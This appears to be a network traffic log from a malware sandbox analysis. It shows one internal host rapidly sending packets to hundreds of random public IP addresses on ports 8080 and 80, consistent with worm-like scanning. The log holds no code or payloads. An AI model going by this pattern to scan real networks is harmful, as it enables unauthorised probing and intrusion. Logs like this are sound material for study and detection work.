Dec 26, 2023 21:22:46.615199089 CET	45469	8080	192.168.2.23	62.157.88.47
Dec 26, 2023 21:22:46.615206003 CET	45469	8080	192.168.2.23	62.73.2.70
Dec 26, 2023 21:22:46.615210056 CET	45469	8080	192.168.2.23	95.208.106.180
Dec 26, 2023 21:22:46.615216970 CET	45469	8080	192.168.2.23	31.139.65.94
Dec 26, 2023 21:22:46.615225077 CET	45469	8080	192.168.2.23	94.142.26.157
Dec 26, 2023 21:22:46.615230083 CET	45469	8080	192.168.2.23	62.112.90.12
Dec 26, 2023 21:22:46.615240097 CET	45469	8080	192.168.2.23	62.194.68.43
Dec 26, 2023 21:22:46.615240097 CET	45469	8080	192.168.2.23	95.44.23.174
Dec 26, 2023 21:22:46.615279913 CET	45469	8080	192.168.2.23	31.225.80.3
Dec 26, 2023 21:22:46.615279913 CET	45469	8080	192.168.2.23	95.205.130.81
Dec 26, 2023 21:22:46.615279913 CET	45469	8080	192.168.2.23	31.223.89.99
Dec 26, 2023 21:22:46.615281105 CET	45469	8080	192.168.2.23	62.212.189.62
Dec 26, 2023 21:22:46.615283012 CET	45469	8080	192.168.2.23	31.244.190.24
Dec 26, 2023 21:22:46.615297079 CET	45469	8080	192.168.2.23	62.213.253.117
Dec 26, 2023 21:22:46.615304947 CET	45469	8080	192.168.2.23	85.171.20.59
Dec 26, 2023 21:22:46.615318060 CET	45469	8080	192.168.2.23	31.202.2.23
Dec 26, 2023 21:22:46.615320921 CET	45469	8080	192.168.2.23	94.252.98.10
Dec 26, 2023 21:22:46.615333080 CET	45469	8080	192.168.2.23	62.254.237.29
Dec 26, 2023 21:22:46.615343094 CET	45469	8080	192.168.2.23	31.164.116.170
Dec 26, 2023 21:22:46.615351915 CET	45469	8080	192.168.2.23	62.202.41.66
Dec 26, 2023 21:22:46.615355015 CET	45469	8080	192.168.2.23	31.110.228.40
Dec 26, 2023 21:22:46.615355015 CET	45469	8080	192.168.2.23	62.240.159.53
Dec 26, 2023 21:22:46.615365028 CET	45469	8080	192.168.2.23	31.74.118.209
Dec 26, 2023 21:22:46.615367889 CET	45469	8080	192.168.2.23	85.190.197.87
Dec 26, 2023 21:22:46.615385056 CET	45469	8080	192.168.2.23	95.101.254.186
Dec 26, 2023 21:22:46.615395069 CET	45469	8080	192.168.2.23	62.140.135.211
Dec 26, 2023 21:22:46.615396976 CET	45469	8080	192.168.2.23	62.204.167.130
Dec 26, 2023 21:22:46.615413904 CET	45469	8080	192.168.2.23	31.195.77.60
Dec 26, 2023 21:22:46.615422964 CET	45469	8080	192.168.2.23	95.94.243.62
Dec 26, 2023 21:22:46.615430117 CET	45469	8080	192.168.2.23	94.133.152.128
Dec 26, 2023 21:22:46.615444899 CET	45469	8080	192.168.2.23	95.203.14.94
Dec 26, 2023 21:22:46.615447044 CET	45469	8080	192.168.2.23	95.118.61.58
Dec 26, 2023 21:22:46.615453005 CET	45469	8080	192.168.2.23	62.195.154.215
Dec 26, 2023 21:22:46.615453005 CET	45469	8080	192.168.2.23	62.41.23.95
Dec 26, 2023 21:22:46.615474939 CET	45469	8080	192.168.2.23	62.128.231.98
Dec 26, 2023 21:22:46.615485907 CET	45469	8080	192.168.2.23	85.31.177.216
Dec 26, 2023 21:22:46.615487099 CET	45469	8080	192.168.2.23	85.24.59.39
Dec 26, 2023 21:22:46.615502119 CET	45469	8080	192.168.2.23	31.124.15.121
Dec 26, 2023 21:22:46.615515947 CET	45469	8080	192.168.2.23	31.42.25.222
Dec 26, 2023 21:22:46.615516901 CET	45469	8080	192.168.2.23	62.193.186.175
Dec 26, 2023 21:22:46.615535021 CET	45469	8080	192.168.2.23	94.117.180.57
Dec 26, 2023 21:22:46.615535021 CET	45469	8080	192.168.2.23	31.128.39.2
Dec 26, 2023 21:22:46.615545988 CET	45469	8080	192.168.2.23	62.244.29.53
Dec 26, 2023 21:22:46.615546942 CET	45469	8080	192.168.2.23	94.199.99.228
Dec 26, 2023 21:22:46.615550041 CET	45469	8080	192.168.2.23	85.92.37.63
Dec 26, 2023 21:22:46.615571022 CET	45469	8080	192.168.2.23	94.150.211.238
Dec 26, 2023 21:22:46.615571976 CET	45469	8080	192.168.2.23	85.218.231.187
Dec 26, 2023 21:22:46.615576982 CET	45469	8080	192.168.2.23	31.121.130.123
Dec 26, 2023 21:22:46.615581036 CET	45469	8080	192.168.2.23	31.138.2.53
Dec 26, 2023 21:22:46.615587950 CET	45469	8080	192.168.2.23	85.86.11.195
Dec 26, 2023 21:22:46.615605116 CET	45469	8080	192.168.2.23	31.115.150.160
Dec 26, 2023 21:22:46.615617990 CET	45469	8080	192.168.2.23	62.106.30.173
Dec 26, 2023 21:22:46.615621090 CET	45469	8080	192.168.2.23	95.19.215.48
Dec 26, 2023 21:22:46.615637064 CET	45469	8080	192.168.2.23	94.250.200.88
Dec 26, 2023 21:22:46.615642071 CET	45469	8080	192.168.2.23	85.31.101.183
Dec 26, 2023 21:22:46.615642071 CET	45469	8080	192.168.2.23	62.169.204.14
Dec 26, 2023 21:22:46.615653992 CET	45469	8080	192.168.2.23	95.199.86.210
Dec 26, 2023 21:22:46.615672112 CET	45469	8080	192.168.2.23	85.45.221.130
Dec 26, 2023 21:22:46.615672112 CET	45469	8080	192.168.2.23	62.249.52.187
Dec 26, 2023 21:22:46.615684032 CET	45469	8080	192.168.2.23	95.14.58.222
Dec 26, 2023 21:22:46.615695953 CET	45469	8080	192.168.2.23	31.75.94.150
Dec 26, 2023 21:22:46.615705967 CET	45469	8080	192.168.2.23	62.213.200.69
Dec 26, 2023 21:22:46.615710974 CET	45469	8080	192.168.2.23	95.111.5.183
Dec 26, 2023 21:22:46.615712881 CET	45469	8080	192.168.2.23	85.17.228.186
Dec 26, 2023 21:22:46.615712881 CET	45469	8080	192.168.2.23	94.216.154.232
Dec 26, 2023 21:22:46.615725994 CET	45469	8080	192.168.2.23	85.237.0.209
Dec 26, 2023 21:22:46.615737915 CET	45469	8080	192.168.2.23	31.42.248.210
Dec 26, 2023 21:22:46.615742922 CET	45469	8080	192.168.2.23	94.140.211.84
Dec 26, 2023 21:22:46.615742922 CET	45469	8080	192.168.2.23	95.198.87.92
Dec 26, 2023 21:22:46.615742922 CET	45469	8080	192.168.2.23	62.123.102.88
Dec 26, 2023 21:22:46.615742922 CET	45469	8080	192.168.2.23	95.181.12.138
Dec 26, 2023 21:22:46.615751028 CET	45469	8080	192.168.2.23	94.211.202.176
Dec 26, 2023 21:22:46.615776062 CET	45469	8080	192.168.2.23	85.51.102.108
Dec 26, 2023 21:22:46.615777016 CET	45469	8080	192.168.2.23	85.39.6.130
Dec 26, 2023 21:22:46.615794897 CET	45469	8080	192.168.2.23	94.156.102.254
Dec 26, 2023 21:22:46.615794897 CET	45469	8080	192.168.2.23	31.154.71.241
Dec 26, 2023 21:22:46.615804911 CET	45469	8080	192.168.2.23	94.107.59.6
Dec 26, 2023 21:22:46.615804911 CET	45469	8080	192.168.2.23	62.234.88.132
Dec 26, 2023 21:22:46.615806103 CET	45469	8080	192.168.2.23	95.172.228.143
Dec 26, 2023 21:22:46.615818024 CET	45469	8080	192.168.2.23	85.5.154.249
Dec 26, 2023 21:22:46.615835905 CET	45469	8080	192.168.2.23	62.99.219.45
Dec 26, 2023 21:22:46.615854025 CET	45469	8080	192.168.2.23	31.121.28.80
Dec 26, 2023 21:22:46.615855932 CET	45469	8080	192.168.2.23	85.179.248.242
Dec 26, 2023 21:22:46.615855932 CET	45469	8080	192.168.2.23	31.149.13.9
Dec 26, 2023 21:22:46.615869999 CET	45469	8080	192.168.2.23	94.241.56.0
Dec 26, 2023 21:22:46.615871906 CET	45469	8080	192.168.2.23	85.252.102.196
Dec 26, 2023 21:22:46.615889072 CET	45469	8080	192.168.2.23	94.202.49.97
Dec 26, 2023 21:22:46.615890980 CET	45469	8080	192.168.2.23	62.195.4.249
Dec 26, 2023 21:22:46.615890980 CET	45469	8080	192.168.2.23	95.35.10.25
Dec 26, 2023 21:22:46.615904093 CET	45469	8080	192.168.2.23	31.253.4.244
Dec 26, 2023 21:22:46.615917921 CET	45469	8080	192.168.2.23	95.214.86.123
Dec 26, 2023 21:22:46.615930080 CET	45469	8080	192.168.2.23	94.155.204.241
Dec 26, 2023 21:22:46.615941048 CET	45469	8080	192.168.2.23	95.147.218.245
Dec 26, 2023 21:22:46.615951061 CET	45469	8080	192.168.2.23	62.148.239.219
Dec 26, 2023 21:22:46.615967989 CET	45469	8080	192.168.2.23	62.13.190.70
Dec 26, 2023 21:22:46.615973949 CET	45469	8080	192.168.2.23	62.100.20.251
Dec 26, 2023 21:22:46.615978956 CET	45469	8080	192.168.2.23	94.90.17.192
Dec 26, 2023 21:22:46.615989923 CET	45469	8080	192.168.2.23	94.135.88.11
Dec 26, 2023 21:22:46.616003036 CET	45469	8080	192.168.2.23	95.217.89.0
Dec 26, 2023 21:22:46.616003990 CET	45469	8080	192.168.2.23	31.211.191.8
Dec 26, 2023 21:22:46.616008043 CET	45469	8080	192.168.2.23	95.132.102.164
Dec 26, 2023 21:22:46.616017103 CET	45469	8080	192.168.2.23	85.158.161.112
Dec 26, 2023 21:22:46.616030931 CET	45469	8080	192.168.2.23	95.17.51.96
Dec 26, 2023 21:22:46.616039991 CET	45469	8080	192.168.2.23	95.29.15.18
Dec 26, 2023 21:22:46.616048098 CET	45469	8080	192.168.2.23	62.135.155.29
Dec 26, 2023 21:22:46.616053104 CET	45469	8080	192.168.2.23	85.196.97.26
Dec 26, 2023 21:22:46.616066933 CET	45469	8080	192.168.2.23	94.150.209.133
Dec 26, 2023 21:22:46.616071939 CET	45469	8080	192.168.2.23	94.219.233.24
Dec 26, 2023 21:22:46.616071939 CET	45469	8080	192.168.2.23	31.30.30.60
Dec 26, 2023 21:22:46.616080999 CET	45469	8080	192.168.2.23	62.105.209.133
Dec 26, 2023 21:22:46.616099119 CET	45469	8080	192.168.2.23	62.107.34.155
Dec 26, 2023 21:22:46.616099119 CET	45469	8080	192.168.2.23	31.223.151.226
Dec 26, 2023 21:22:46.616101027 CET	45469	8080	192.168.2.23	85.250.45.120
Dec 26, 2023 21:22:46.616111040 CET	45469	8080	192.168.2.23	95.73.177.207
Dec 26, 2023 21:22:46.616117954 CET	45469	8080	192.168.2.23	62.9.76.209
Dec 26, 2023 21:22:46.616122007 CET	45469	8080	192.168.2.23	85.18.96.202
Dec 26, 2023 21:22:46.616132975 CET	45469	8080	192.168.2.23	94.5.54.97
Dec 26, 2023 21:22:46.616136074 CET	45469	8080	192.168.2.23	85.29.17.8
Dec 26, 2023 21:22:46.616138935 CET	45469	8080	192.168.2.23	94.26.110.48
Dec 26, 2023 21:22:46.616148949 CET	45469	8080	192.168.2.23	95.34.9.154
Dec 26, 2023 21:22:46.616169930 CET	45469	8080	192.168.2.23	95.246.196.181
Dec 26, 2023 21:22:46.616172075 CET	45469	8080	192.168.2.23	62.243.8.208
Dec 26, 2023 21:22:46.616180897 CET	45469	8080	192.168.2.23	94.146.214.121
Dec 26, 2023 21:22:46.616190910 CET	45469	8080	192.168.2.23	31.96.184.94
Dec 26, 2023 21:22:46.616190910 CET	45469	8080	192.168.2.23	31.153.132.227
Dec 26, 2023 21:22:46.616195917 CET	45469	8080	192.168.2.23	95.95.235.109
Dec 26, 2023 21:22:46.616199017 CET	45469	8080	192.168.2.23	95.108.216.163
Dec 26, 2023 21:22:46.616199017 CET	45469	8080	192.168.2.23	95.80.253.36
Dec 26, 2023 21:22:46.616211891 CET	45469	8080	192.168.2.23	85.67.103.179
Dec 26, 2023 21:22:46.616229057 CET	45469	8080	192.168.2.23	62.116.39.177
Dec 26, 2023 21:22:46.616245985 CET	45469	8080	192.168.2.23	85.20.89.4
Dec 26, 2023 21:22:46.616247892 CET	45469	8080	192.168.2.23	95.251.105.35
Dec 26, 2023 21:22:46.616245985 CET	45469	8080	192.168.2.23	95.108.24.108
Dec 26, 2023 21:22:46.616264105 CET	45469	8080	192.168.2.23	85.22.25.137
Dec 26, 2023 21:22:46.616274118 CET	45469	8080	192.168.2.23	85.17.187.85
Dec 26, 2023 21:22:46.616286039 CET	45469	8080	192.168.2.23	85.59.135.5
Dec 26, 2023 21:22:46.616288900 CET	45469	8080	192.168.2.23	62.104.86.248
Dec 26, 2023 21:22:46.616288900 CET	45469	8080	192.168.2.23	95.151.66.135
Dec 26, 2023 21:22:46.616297960 CET	45469	8080	192.168.2.23	85.197.133.177
Dec 26, 2023 21:22:46.616314888 CET	45469	8080	192.168.2.23	95.98.130.127
Dec 26, 2023 21:22:46.616316080 CET	45469	8080	192.168.2.23	85.113.168.55
Dec 26, 2023 21:22:46.616332054 CET	45469	8080	192.168.2.23	31.180.87.100
Dec 26, 2023 21:22:46.616338015 CET	45469	8080	192.168.2.23	31.49.123.93
Dec 26, 2023 21:22:46.616362095 CET	45469	8080	192.168.2.23	31.3.181.30
Dec 26, 2023 21:22:46.616362095 CET	45469	8080	192.168.2.23	85.32.21.227
Dec 26, 2023 21:22:46.616368055 CET	45469	8080	192.168.2.23	62.219.215.164
Dec 26, 2023 21:22:46.616380930 CET	45469	8080	192.168.2.23	85.177.145.128
Dec 26, 2023 21:22:46.616385937 CET	45469	8080	192.168.2.23	31.31.186.48
Dec 26, 2023 21:22:46.616390944 CET	45469	8080	192.168.2.23	31.97.225.202
Dec 26, 2023 21:22:46.616400003 CET	45469	8080	192.168.2.23	62.7.125.80
Dec 26, 2023 21:22:46.616426945 CET	57476	8080	192.168.2.23	94.68.244.56
Dec 26, 2023 21:22:46.674803972 CET	8080	50360	62.233.41.12	192.168.2.23
Dec 26, 2023 21:22:46.674886942 CET	50360	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:46.674902916 CET	50360	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:46.674902916 CET	50360	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:46.674926043 CET	50368	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:46.708616018 CET	8080	36500	94.121.195.24	192.168.2.23
Dec 26, 2023 21:22:46.708782911 CET	36500	8080	192.168.2.23	94.121.195.24
Dec 26, 2023 21:22:46.708798885 CET	36500	8080	192.168.2.23	94.121.195.24
Dec 26, 2023 21:22:46.708798885 CET	36500	8080	192.168.2.23	94.121.195.24
Dec 26, 2023 21:22:46.708816051 CET	36508	8080	192.168.2.23	94.121.195.24
Dec 26, 2023 21:22:46.710815907 CET	8080	41368	94.122.56.19	192.168.2.23
Dec 26, 2023 21:22:46.710865021 CET	41368	8080	192.168.2.23	94.122.56.19
Dec 26, 2023 21:22:46.710881948 CET	41368	8080	192.168.2.23	94.122.56.19
Dec 26, 2023 21:22:46.711817980 CET	8080	41352	94.122.56.19	192.168.2.23
Dec 26, 2023 21:22:46.774190903 CET	80	45725	95.42.217.247	192.168.2.23
Dec 26, 2023 21:22:46.774300098 CET	45725	80	192.168.2.23	95.42.217.247
Dec 26, 2023 21:22:46.835973024 CET	8080	48192	94.237.55.152	192.168.2.23
Dec 26, 2023 21:22:46.836040020 CET	8080	48192	94.237.55.152	192.168.2.23
Dec 26, 2023 21:22:46.836160898 CET	48192	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:46.836160898 CET	48192	8080	192.168.2.23	94.237.55.152
Dec 26, 2023 21:22:46.855509043 CET	8080	45469	85.31.169.121	192.168.2.23
Dec 26, 2023 21:22:46.859119892 CET	8080	45469	85.10.229.147	192.168.2.23
Dec 26, 2023 21:22:46.864134073 CET	8080	45469	94.103.95.95	192.168.2.23
Dec 26, 2023 21:22:46.866178989 CET	8080	45469	85.199.241.243	192.168.2.23
Dec 26, 2023 21:22:46.877504110 CET	8080	45469	85.5.154.249	192.168.2.23
Dec 26, 2023 21:22:46.885731936 CET	8080	45469	94.196.0.1	192.168.2.23
Dec 26, 2023 21:22:46.895329952 CET	8080	45469	31.200.37.153	192.168.2.23
Dec 26, 2023 21:22:46.895445108 CET	45469	8080	192.168.2.23	31.200.37.153
Dec 26, 2023 21:22:46.898340940 CET	8080	45469	31.184.192.80	192.168.2.23
Dec 26, 2023 21:22:46.900592089 CET	8080	45469	94.120.236.2	192.168.2.23
Dec 26, 2023 21:22:46.900644064 CET	45469	8080	192.168.2.23	94.120.236.2
Dec 26, 2023 21:22:46.917377949 CET	8080	50360	62.233.41.12	192.168.2.23
Dec 26, 2023 21:22:46.917845964 CET	8080	50360	62.233.41.12	192.168.2.23
Dec 26, 2023 21:22:46.917922020 CET	50360	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:46.918659925 CET	8080	50368	62.233.41.12	192.168.2.23
Dec 26, 2023 21:22:46.918740034 CET	50368	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:46.918740034 CET	50368	8080	192.168.2.23	62.233.41.12
Dec 26, 2023 21:22:46.918792963 CET	32810	8080	192.168.2.23	31.200.37.153
Dec 26, 2023 21:22:46.918827057 CET	59838	8080	192.168.2.23	94.120.236.2
Dec 26, 2023 21:22:46.934835911 CET	8080	45469	85.64.139.136	192.168.2.23
Dec 26, 2023 21:22:46.984802961 CET	8080	36500	94.121.195.24	192.168.2.23
Dec 26, 2023 21:22:46.989151955 CET	8080	41368	94.122.56.19	192.168.2.23
Dec 26, 2023 21:22:46.992248058 CET	8080	45469	62.215.186.65	192.168.2.23
Dec 26, 2023 21:22:46.997935057 CET	8080	36508	94.121.195.24	192.168.2.23
Dec 26, 2023 21:22:46.998007059 CET	36508	8080	192.168.2.23	94.121.195.24
Dec 26, 2023 21:22:46.998023033 CET	36508	8080	192.168.2.23	94.121.195.24
Dec 26, 2023 21:22:47.104327917 CET	45725	80	192.168.2.23	88.129.219.140
Dec 26, 2023 21:22:47.104329109 CET	45725	80	192.168.2.23	88.54.55.96
Dec 26, 2023 21:22:47.104327917 CET	45725	80	192.168.2.23	88.1.195.169
Dec 26, 2023 21:22:47.104337931 CET	45725	80	192.168.2.23	88.143.158.30
Dec 26, 2023 21:22:47.104337931 CET	45725	80	192.168.2.23	88.203.132.154
Dec 26, 2023 21:22:47.104337931 CET	45725	80	192.168.2.23	88.59.114.136
Dec 26, 2023 21:22:47.104336977 CET	45725	80	192.168.2.23	88.243.137.178
Dec 26, 2023 21:22:47.104336977 CET	45725	80	192.168.2.23	88.48.124.212
Dec 26, 2023 21:22:47.104342937 CET	45725	80	192.168.2.23	88.250.97.150
Dec 26, 2023 21:22:47.104342937 CET	45725	80	192.168.2.23	88.180.12.75
Dec 26, 2023 21:22:47.104367018 CET	45725	80	192.168.2.23	88.168.243.112
Dec 26, 2023 21:22:47.104367018 CET	45725	80	192.168.2.23	88.42.111.26
Dec 26, 2023 21:22:47.104367018 CET	45725	80	192.168.2.23	88.245.145.167
Dec 26, 2023 21:22:47.104367018 CET	45725	80	192.168.2.23	88.203.173.65
Dec 26, 2023 21:22:47.104367018 CET	45725	80	192.168.2.23	88.1.72.23
Dec 26, 2023 21:22:47.104370117 CET	45725	80	192.168.2.23	88.39.92.195
Dec 26, 2023 21:22:47.104370117 CET	45725	80	192.168.2.23	88.67.84.164
Dec 26, 2023 21:22:47.104370117 CET	45725	80	192.168.2.23	88.189.203.234
Dec 26, 2023 21:22:47.104370117 CET	45725	80	192.168.2.23	88.198.42.83
Dec 26, 2023 21:22:47.104371071 CET	45725	80	192.168.2.23	88.116.166.220
Dec 26, 2023 21:22:47.104370117 CET	45725	80	192.168.2.23	88.206.151.125
Dec 26, 2023 21:22:47.104371071 CET	45725	80	192.168.2.23	88.152.157.161
Dec 26, 2023 21:22:47.104371071 CET	45725	80	192.168.2.23	88.172.190.129
Dec 26, 2023 21:22:47.104371071 CET	45725	80	192.168.2.23	88.85.229.49
Dec 26, 2023 21:22:47.104371071 CET	45725	80	192.168.2.23	88.62.240.233
Dec 26, 2023 21:22:47.104377985 CET	45725	80	192.168.2.23	88.201.130.197
Dec 26, 2023 21:22:47.104378939 CET	45725	80	192.168.2.23	88.210.118.63
Dec 26, 2023 21:22:47.104378939 CET	45725	80	192.168.2.23	88.155.59.6
Dec 26, 2023 21:22:47.104378939 CET	45725	80	192.168.2.23	88.117.116.192
Dec 26, 2023 21:22:47.104378939 CET	45725	80	192.168.2.23	88.142.46.39
Dec 26, 2023 21:22:47.104378939 CET	45725	80	192.168.2.23	88.91.251.92
Dec 26, 2023 21:22:47.104378939 CET	45725	80	192.168.2.23	88.219.0.245
Dec 26, 2023 21:22:47.104378939 CET	45725	80	192.168.2.23	88.214.224.184
Dec 26, 2023 21:22:47.104384899 CET	45725	80	192.168.2.23	88.63.75.62
Dec 26, 2023 21:22:47.104386091 CET	45725	80	192.168.2.23	88.155.77.205
Dec 26, 2023 21:22:47.104386091 CET	45725	80	192.168.2.23	88.103.236.80
Dec 26, 2023 21:22:47.104387045 CET	45725	80	192.168.2.23	88.169.26.134
Dec 26, 2023 21:22:47.104387045 CET	45725	80	192.168.2.23	88.206.135.213
Dec 26, 2023 21:22:47.104393959 CET	45725	80	192.168.2.23	88.221.55.244
Dec 26, 2023 21:22:47.104393959 CET	45725	80	192.168.2.23	88.9.129.31
Dec 26, 2023 21:22:47.104393959 CET	45725	80	192.168.2.23	88.200.151.60
Dec 26, 2023 21:22:47.104409933 CET	45725	80	192.168.2.23	88.80.121.183
Dec 26, 2023 21:22:47.104410887 CET	45725	80	192.168.2.23	88.134.232.17
Dec 26, 2023 21:22:47.104409933 CET	45725	80	192.168.2.23	88.201.160.32
Dec 26, 2023 21:22:47.104410887 CET	45725	80	192.168.2.23	88.101.216.154
Dec 26, 2023 21:22:47.104409933 CET	45725	80	192.168.2.23	88.97.154.194
Dec 26, 2023 21:22:47.104413986 CET	45725	80	192.168.2.23	88.5.214.116
Dec 26, 2023 21:22:47.104409933 CET	45725	80	192.168.2.23	88.149.177.233
Dec 26, 2023 21:22:47.104409933 CET	45725	80	192.168.2.23	88.13.188.194
Dec 26, 2023 21:22:47.104409933 CET	45725	80	192.168.2.23	88.203.242.190
Dec 26, 2023 21:22:47.104413033 CET	45725	80	192.168.2.23	88.245.208.206
Dec 26, 2023 21:22:47.104409933 CET	45725	80	192.168.2.23	88.151.31.164
Dec 26, 2023 21:22:47.104413033 CET	45725	80	192.168.2.23	88.228.160.216
Dec 26, 2023 21:22:47.104428053 CET	45725	80	192.168.2.23	88.53.113.58
Dec 26, 2023 21:22:47.104429007 CET	45725	80	192.168.2.23	88.142.116.169
Dec 26, 2023 21:22:47.104435921 CET	45725	80	192.168.2.23	88.76.187.63
Dec 26, 2023 21:22:47.104450941 CET	45725	80	192.168.2.23	88.229.143.144
Dec 26, 2023 21:22:47.104450941 CET	45725	80	192.168.2.23	88.186.138.198
Dec 26, 2023 21:22:47.104451895 CET	45725	80	192.168.2.23	88.160.78.208
Dec 26, 2023 21:22:47.104471922 CET	45725	80	192.168.2.23	88.124.201.99
Dec 26, 2023 21:22:47.104473114 CET	45725	80	192.168.2.23	88.58.2.39
Dec 26, 2023 21:22:47.104473114 CET	45725	80	192.168.2.23	88.105.177.171
Dec 26, 2023 21:22:47.104495049 CET	45725	80	192.168.2.23	88.40.13.135
Dec 26, 2023 21:22:47.104496002 CET	45725	80	192.168.2.23	88.154.195.12
Dec 26, 2023 21:22:47.104500055 CET	45725	80	192.168.2.23	88.97.102.139
Dec 26, 2023 21:22:47.104501963 CET	45725	80	192.168.2.23	88.197.77.116
Dec 26, 2023 21:22:47.104513884 CET	45725	80	192.168.2.23	88.163.98.99
Dec 26, 2023 21:22:47.104517937 CET	45725	80	192.168.2.23	88.103.199.129
Dec 26, 2023 21:22:47.104518890 CET	45725	80	192.168.2.23	88.0.220.188
Dec 26, 2023 21:22:47.104535103 CET	45725	80	192.168.2.23	88.255.7.15
Dec 26, 2023 21:22:47.104542017 CET	45725	80	192.168.2.23	88.170.150.12
Dec 26, 2023 21:22:47.104545116 CET	45725	80	192.168.2.23	88.121.51.152
Dec 26, 2023 21:22:47.104551077 CET	45725	80	192.168.2.23	88.83.230.173
Dec 26, 2023 21:22:47.104559898 CET	45725	80	192.168.2.23	88.48.78.250
Dec 26, 2023 21:22:47.104567051 CET	45725	80	192.168.2.23	88.132.147.203
Dec 26, 2023 21:22:47.104578972 CET	45725	80	192.168.2.23	88.192.64.195
Dec 26, 2023 21:22:47.104583979 CET	45725	80	192.168.2.23	88.74.155.110
Dec 26, 2023 21:22:47.104587078 CET	45725	80	192.168.2.23	88.111.27.69
Dec 26, 2023 21:22:47.104599953 CET	45725	80	192.168.2.23	88.46.89.32
Dec 26, 2023 21:22:47.104600906 CET	45725	80	192.168.2.23	88.176.117.197
Dec 26, 2023 21:22:47.104610920 CET	45725	80	192.168.2.23	88.167.197.163
Dec 26, 2023 21:22:47.104618073 CET	45725	80	192.168.2.23	88.72.110.154
Dec 26, 2023 21:22:47.104619026 CET	45725	80	192.168.2.23	88.132.115.112
Dec 26, 2023 21:22:47.104630947 CET	45725	80	192.168.2.23	88.62.210.84
Dec 26, 2023 21:22:47.104633093 CET	45725	80	192.168.2.23	88.255.52.84
Dec 26, 2023 21:22:47.104636908 CET	45725	80	192.168.2.23	88.221.187.106
Dec 26, 2023 21:22:47.104650974 CET	45725	80	192.168.2.23	88.203.91.177
Dec 26, 2023 21:22:47.104651928 CET	45725	80	192.168.2.23	88.190.232.184
Dec 26, 2023 21:22:47.104671955 CET	45725	80	192.168.2.23	88.104.157.127
Dec 26, 2023 21:22:47.104671955 CET	45725	80	192.168.2.23	88.35.129.234
Dec 26, 2023 21:22:47.104676962 CET	45725	80	192.168.2.23	88.106.195.23
Dec 26, 2023 21:22:47.104677916 CET	45725	80	192.168.2.23	88.173.101.3
Dec 26, 2023 21:22:47.104691982 CET	45725	80	192.168.2.23	88.154.29.251
Dec 26, 2023 21:22:47.104693890 CET	45725	80	192.168.2.23	88.245.48.55
Dec 26, 2023 21:22:47.104696989 CET	45725	80	192.168.2.23	88.94.224.231
Dec 26, 2023 21:22:47.104705095 CET	45725	80	192.168.2.23	88.62.236.43
Dec 26, 2023 21:22:47.104710102 CET	45725	80	192.168.2.23	88.10.77.201
Dec 26, 2023 21:22:47.104712963 CET	45725	80	192.168.2.23	88.227.189.195
Dec 26, 2023 21:22:47.104716063 CET	45725	80	192.168.2.23	88.92.119.191
Dec 26, 2023 21:22:47.104737043 CET	45725	80	192.168.2.23	88.209.68.186
Dec 26, 2023 21:22:47.104743958 CET	45725	80	192.168.2.23	88.7.23.84
Dec 26, 2023 21:22:47.104744911 CET	45725	80	192.168.2.23	88.153.249.15
Dec 26, 2023 21:22:47.104752064 CET	45725	80	192.168.2.23	88.85.43.35
Dec 26, 2023 21:22:47.104757071 CET	45725	80	192.168.2.23	88.190.112.249
Dec 26, 2023 21:22:47.104768038 CET	45725	80	192.168.2.23	88.192.210.47
Dec 26, 2023 21:22:47.104768038 CET	45725	80	192.168.2.23	88.113.140.157
Dec 26, 2023 21:22:47.104789972 CET	45725	80	192.168.2.23	88.2.53.176
Dec 26, 2023 21:22:47.104794025 CET	45725	80	192.168.2.23	88.72.38.102
Dec 26, 2023 21:22:47.104794979 CET	45725	80	192.168.2.23	88.41.28.68
Dec 26, 2023 21:22:47.104794979 CET	45725	80	192.168.2.23	88.98.148.68
Dec 26, 2023 21:22:47.104798079 CET	45725	80	192.168.2.23	88.252.241.85
Dec 26, 2023 21:22:47.104809999 CET	45725	80	192.168.2.23	88.144.251.135
Dec 26, 2023 21:22:47.104815960 CET	45725	80	192.168.2.23	88.24.55.152
Dec 26, 2023 21:22:47.104821920 CET	45725	80	192.168.2.23	88.4.225.125
Dec 26, 2023 21:22:47.104824066 CET	45725	80	192.168.2.23	88.53.129.118
Dec 26, 2023 21:22:47.104831934 CET	45725	80	192.168.2.23	88.230.110.3
Dec 26, 2023 21:22:47.104831934 CET	45725	80	192.168.2.23	88.101.80.11
Dec 26, 2023 21:22:47.104849100 CET	45725	80	192.168.2.23	88.193.130.27
Dec 26, 2023 21:22:47.104856968 CET	45725	80	192.168.2.23	88.106.13.70
Dec 26, 2023 21:22:47.104866028 CET	45725	80	192.168.2.23	88.165.196.140
Dec 26, 2023 21:22:47.104871988 CET	45725	80	192.168.2.23	88.187.65.51
Dec 26, 2023 21:22:47.104891062 CET	45725	80	192.168.2.23	88.90.220.149
Dec 26, 2023 21:22:47.104892969 CET	45725	80	192.168.2.23	88.210.89.7
Dec 26, 2023 21:22:47.104892969 CET	45725	80	192.168.2.23	88.109.195.126
Dec 26, 2023 21:22:47.104897976 CET	45725	80	192.168.2.23	88.27.117.110
Dec 26, 2023 21:22:47.104908943 CET	45725	80	192.168.2.23	88.194.138.69
Dec 26, 2023 21:22:47.104911089 CET	45725	80	192.168.2.23	88.99.36.203
Dec 26, 2023 21:22:47.104914904 CET	45725	80	192.168.2.23	88.215.88.233
Dec 26, 2023 21:22:47.104914904 CET	45725	80	192.168.2.23	88.35.225.100
Dec 26, 2023 21:22:47.104928970 CET	45725	80	192.168.2.23	88.112.115.103
Dec 26, 2023 21:22:47.104928970 CET	45725	80	192.168.2.23	88.117.180.5
Dec 26, 2023 21:22:47.104933023 CET	45725	80	192.168.2.23	88.226.235.138
Dec 26, 2023 21:22:47.104947090 CET	45725	80	192.168.2.23	88.142.100.64
Dec 26, 2023 21:22:47.104949951 CET	45725	80	192.168.2.23	88.100.196.238
Dec 26, 2023 21:22:47.104955912 CET	45725	80	192.168.2.23	88.98.24.130
Dec 26, 2023 21:22:47.104960918 CET	45725	80	192.168.2.23	88.51.251.49
Dec 26, 2023 21:22:47.104964018 CET	45725	80	192.168.2.23	88.115.218.195
Dec 26, 2023 21:22:47.104974985 CET	45725	80	192.168.2.23	88.139.115.235
Dec 26, 2023 21:22:47.104995012 CET	45725	80	192.168.2.23	88.221.154.69
